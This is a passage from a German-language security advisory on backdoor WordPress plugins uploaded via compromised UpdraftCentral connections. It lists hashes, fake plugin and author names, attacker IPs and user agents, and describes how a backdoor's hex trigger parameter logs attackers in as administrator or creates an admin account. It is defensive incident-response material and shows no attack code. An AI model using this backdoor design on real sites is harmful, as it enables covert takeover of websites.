style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_48c603<\/code>, Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.desk2<\/code>, SHA-256 der Hauptdatei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">425bb1e680d57a92327c99090df1e3b69932c4ec3d9c22f105d89b101f412d72<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">335dc74431648b713500db50d2beafda19342555ba19e37438df035f802c6017<\/code><\/li>\n<li>Die Namen der falschen Autoren wiederholen sich \u00fcber Varianten und Websites hinweg, zum Beispiel \u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c, \u201eCommonGantry\u201c, \u201eCopperForge WP\u201c, \u201eMetaLayer\u201c oder \u201eWPBridge\u201c. Ein Plugin eines solchen Autors, das Sie nicht installiert haben, ist fast sicher eine Hintert\u00fcr.<\/li>\n<li>Weitere von <a href=\"https:\/\/www.wordfence.com\/blog\/2026\/10\/updraftcentral-connection-key-compromise\/\">Wordfence<\/a> ver\u00f6ffentlichte Namen: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">speed-press-23b<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hero-bridge-6c9<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-health-6a20<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">db-works-7dba<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-frame<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site-engine<\/code>; Benutzer <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site_editor784<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">site.crew51<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_desk9<\/code>.<\/li>\n<li>laut Patchstack zum Beispiel \u201eSite Health Cache\u201c, \u201eAsset Forge 2\u201c, \u201eContent Helper\u201c und \u201eWp Forge\u201c, insgesamt 99 Namen<\/li>\n<\/ul>\n<p>Gemeinsame Merkmale:<\/p>\n<ul>\n<li>IP-Adressen <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>, User-Agent genau <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, Anfrage <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">POST \/<\/code><\/li>\n<li>Versuche, die Hintert\u00fcren zu benutzen, am 20.10.: IP-Adressen <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.220<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.83.37.243<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">178.94.218.31<\/code> und die Bereiche <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.133.x<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.134.x<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">69.33.144.x<\/code>, User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<\/code> (ohne den Teil mit der Browserversion), Anfrage <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">GET \/?&lt;Ausl\u00f6ser&gt;=&lt;Token&gt;<\/code><\/li>\n<li>M\u00f6glicherweise zusammenh\u00e4ngend: Seit dem 20.10. sehen wir auf unseren Websites auch Abfragen der UpdraftPlus-Version \u00fcber <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">\/wp-content\/plugins\/updraftplus\/readme.txt<\/code>, oft gefolgt von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">POST \/wp-admin\/admin-ajax.php<\/code>, von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">107.189.14.87<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">45.61.188.240<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">45.61.184.170<\/code> mit gef\u00e4lschten Browser-User-Agents. Ein weiterer Administrator meldet dieselben Bereiche. Ob es derselbe Angreifer ist, wissen wir nicht.<\/li>\n<li>im UpdraftCentral-Log die Sondierung <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code> und einige Stunden sp\u00e4ter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code><\/li>\n<li>die Plugin-Beschreibung \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c<\/li>\n<li>ein Benutzer mit E-Mail bei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code> und Anzeigename \u201eSite Tools\u201c, mit der Rolle Editor und den Berechtigungen <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> und <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code><\/li>\n<li>der fatale Fehler <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Undefined constant &lt;Klasse&gt;::FIELD<\/code> und eine WordPress-E-Mail \u00fcber einen Fehler in einem Plugin, das Sie nicht kennen<\/li>\n<\/ul>\n<h2 id=\"die-zweite-variante-eine-funktionierende-hintert\u00fcr-mit-eigenem-administrator\">Die zweite Variante: eine funktionierende Hintert\u00fcr mit eigenem Administrator<\/h2>\n<p>Zwei weitere betroffene Administratoren haben uns diese Variante beschrieben. Der erste betreut etwa 145 Websites und fand sie auf zwei der drei getroffenen. Der Angreifer hat sie dort nicht benutzt: Es entstanden keine <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_uid<\/code>-Option, kein Konto und keine fremde Sitzung. Der zweite fand sie auf drei der vier Websites, auf denen eine Hintert\u00fcr installiert wurde, und best\u00e4tigte, dass sie <strong>funktioniert<\/strong>: Anders als die erste Variante hat sie keinen Fehler, der die Website abst\u00fcrzen l\u00e4sst. Ein weiterer Administrator hat uns die Probe <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">boost-kit<\/code> geschickt, sodass wir sie selbst analysieren konnten. Beide Beschreibungen stimmen, bis auf das Verstecken des Kontos, das nicht funktioniert.<\/p>\n<ul>\n<li>Es ist eine einzelne PHP-Datei mit zuf\u00e4lligem Namen, der nicht dem Muster der ersten Variante folgen muss (zum Beispiel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">opt4fix<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-smith<\/code>). Die Beschreibung unterscheidet sich in jeder Probe, einmal lautete sie \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c.<\/li>\n<li>Zur Tarnung setzt sie bei der Aktivierung die Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>, plant einen t\u00e4glichen Cron <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_maintenance<\/code>, der tats\u00e4chlich abgelaufene Transients l\u00f6scht, und f\u00fcgt einen jQuery-Filter f\u00fcr AMP-Seiten hinzu.<\/li>\n<li>Ausl\u00f6ser: ein Parameter, dessen Name aus 12 Hex-Zeichen besteht, und ein 32-stelliges Token, zum Beispiel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?f2b9faa21ebd=\u2026<\/code> oder <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?303541c9dfd0=\u2026&amp;m=setup<\/code>. Weitere gefundene Parameternamen: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">f883d260d98a<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a613ff6d53aa<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">6eb3d55b634e<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">f343ef05a88e<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a67730d1b537<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2c71bff4b006<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">666b564665a9<\/code>.<\/li>\n<li><strong>Ohne den Parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m<\/code> meldet sie den Angreifer als ersten vorhandenen Administrator an<\/strong> und leitet in den Admin weiter. Sie legt kein Konto an, es bleiben also nur die Plugin-Datei und eine Zeile im Access-Log.<\/li>\n<li>Der Modus <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=setup<\/code> legt einen vollwertigen <strong>Administrator<\/strong> an und speichert dessen ID in der Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_uid<\/code> (zum Beispiel <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src_lab_uid<\/code>). Der Modus <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">m=svc<\/code> meldet den Angreifer in diesem Konto an. Die Konten hei\u00dfen etwa <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">system_team850<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web.tech988<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cmseditor170<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cms.tech644<\/code> oder <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">web_mgr684<\/code>, mit E-Mail-Adresse bei <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.com<\/code> und Anzeigenamen wie \u201eSystem Team\u201c, \u201eWeb Tech\u201c, \u201eSystem Staff\u201c, \u201eSystem Ops\u201c oder \u201eCms Tech\u201c.<\/li>\n<li>Sie versucht, das Konto mit einem <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code>-Hook und einem <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code>-Filter zu verstecken, beide sind aber falsch geschrieben. Der <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_user_query<\/code>-Hook setzt das Konto erst auf die Ausschlussliste, nachdem WordPress die SQL-Abfrage gebaut hat, und \u00e4ndert das Ergebnis daher nicht. Der <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pre_count_users<\/code>-Filter erh\u00e4lt statt der Z\u00e4hlung den Wert <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">null<\/code> und \u00e4ndert nichts. Wir haben unter WordPress 7.1.3 gepr\u00fcft, dass das Konto in der Benutzerliste und in der Zahl der Administratoren ganz normal erscheint.<\/li>\n<li>Sie hat keine <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code>. Bei der Deaktivierung l\u00f6scht sie nur die Option <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_installed<\/code>.<\/li>\n<li>Die Zustellung ist dieselbe wie bei der ersten Variante: Sondierung und danach <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code>, sowohl von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> als auch von <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>, in der Nacht vom 18. auf den 19. Oktober (zum Beispiel src-lab am 18.10. um 23:39 UTC, render-helper-232b am 19.10. um 0:03 UTC).<\/li>\n<\/ul>\n<p>Proben (SHA-256 der Hauptdatei):<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab<\/code>, \u201eSrc Lab\u201c 3.0.0, Autor \u201eWPBridge\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">src-lab.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-helper-232b<\/code>, \u201eRender Helper 232b\u201c 3.7.9<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">opt4fix<\/code>, \u201eOpt4fix\u201c 2.9.2, Autor \u201eDigitalFork\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">54ca7b2da87852a5d1fd7bde644027f84557db4d45fbb25cb2d135a3497d8d5c<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">js-fix-757a<\/code>, \u201eJs Fix 757a\u201c 2.8.3, Autor \u201eWPBridge\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2cdf3f2a3f10f0e12f00f2267907d44796107ab4aececdac520bba13e012b47a<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">lazy-tool-3055<\/code>, \u201eLazy Tool 3055\u201c 1.3.8, Autor \u201eMetaLayer\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">1821a58e2a851acd1a608a77ce2f77817a0b7b6ef344b9889c8f8728e62969ec<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cache-smith<\/code>, \u201eCache Smith\u201c 1.3.1, Autor \u201eToolBelt WP\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43dc88fd18501be3dbd6d7f1755e77386d081dd41cef82bc514d39991ae69c49<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">boost-kit<\/code>, \u201eBoost Kit\u201c 2.9.3, Autor \u201ePixelForge\u201c, Beschreibung \u201eSimple database queries management with automatic cleanup routines.\u201c, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">fd664098cf189698e730b94fe1ea9f4425738f1be4bb9bd19eb38e14dbdf72e1<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">fast2engine<\/code>, \u201eFast2engine\u201c 1.6.9, Autor \u201eCodeBarn\u201c, Beschreibung \u201eReliable transient storage maintenance companion for site owners.\u201c, Konto <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp.tech506@example.com<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0f194a46d99a8180908a55d1ae9d5bb51e9257e68ba10312ce030b8a5cd2c8dd<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">defer-engine<\/code>, \u201eDefer Engine\u201c 3.3.1, Autor \u201eSiteCraft Labs\u201c, Beschreibung \u201eFine-tunes script loading delivery to reduce load times on busy sites.\u201c, Konto <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-mgr138<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">87cb01de622d0108b60d4f3d6663935a7b53fd17b6b82b53a26e47a5b522dc91<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">minify-tool-bf90<\/code>, \u201eMinify Tool Bf90\u201c 2.9.8, Autor \u201eMetaLayer\u201c, Beschreibung \u201eImproves asset loading efficiency for content sites with minimal overhead.\u201c, Konto <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">pageeditor85<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans 